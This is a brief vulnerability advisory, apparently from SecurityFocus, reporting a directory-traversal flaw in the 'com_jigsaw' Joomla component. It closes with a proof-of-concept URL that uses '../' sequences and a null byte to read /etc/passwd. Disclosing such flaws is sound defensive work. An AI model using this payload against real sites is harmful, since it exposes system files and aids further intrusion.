source: http://www.securityfocus.com/bid/42144/info

The 'com_jigsaw' component for Joomla! is prone to a directory-traversal vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to obtain sensitive information that could aid in further attacks.

http://www.example.com/index.php?option=com_jigsaw&controller=../../../../../../../etc/passwd%00 